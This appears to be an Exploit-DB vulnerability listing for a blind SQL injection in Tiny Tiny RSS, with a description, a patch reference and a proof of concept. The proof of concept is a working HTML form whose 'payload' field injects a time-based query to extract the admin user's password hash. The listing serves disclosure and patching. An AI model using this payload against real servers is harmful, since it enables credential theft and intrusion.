Tiny Tiny RSS Blind SQL Injection

vendor:

Tiny Tiny RSS

by:

Kacper Szurek

7,5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: Tiny Tiny RSS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

Tiny Tiny RSS Blind SQL Injection

$item_id inside process_category_order() is not properly escaped. We control this value using $_POST['payload']. Login as regular user and submit a form with a payload containing a malicious SQL query.

Mitigation:

Update to version a5556c2471973e292dce615fe0c77fdbbc54405b

Source

Exploit-DB raw data:

# Exploit Title: Tiny Tiny RSS Blind SQL Injection
# Date: 15-02-2016
# Software Link: http://tt-rss.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
$item_id inside process_category_order() is not properly escaped.

We control this value using $_POST['payload'].

http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html

2. Proof of Concept

Login as regular user.

<form method="post" action="http://tiny-tiny-rss/backend.php">
    <input type="hidden" name="op" value="pref-feeds">
    <input type="hidden" name="method" value="savefeedorder">
    <textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}&lt;/textarea&gt;
    <input type="submit" value="Hack!">
</form>

3. Solution:
   
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b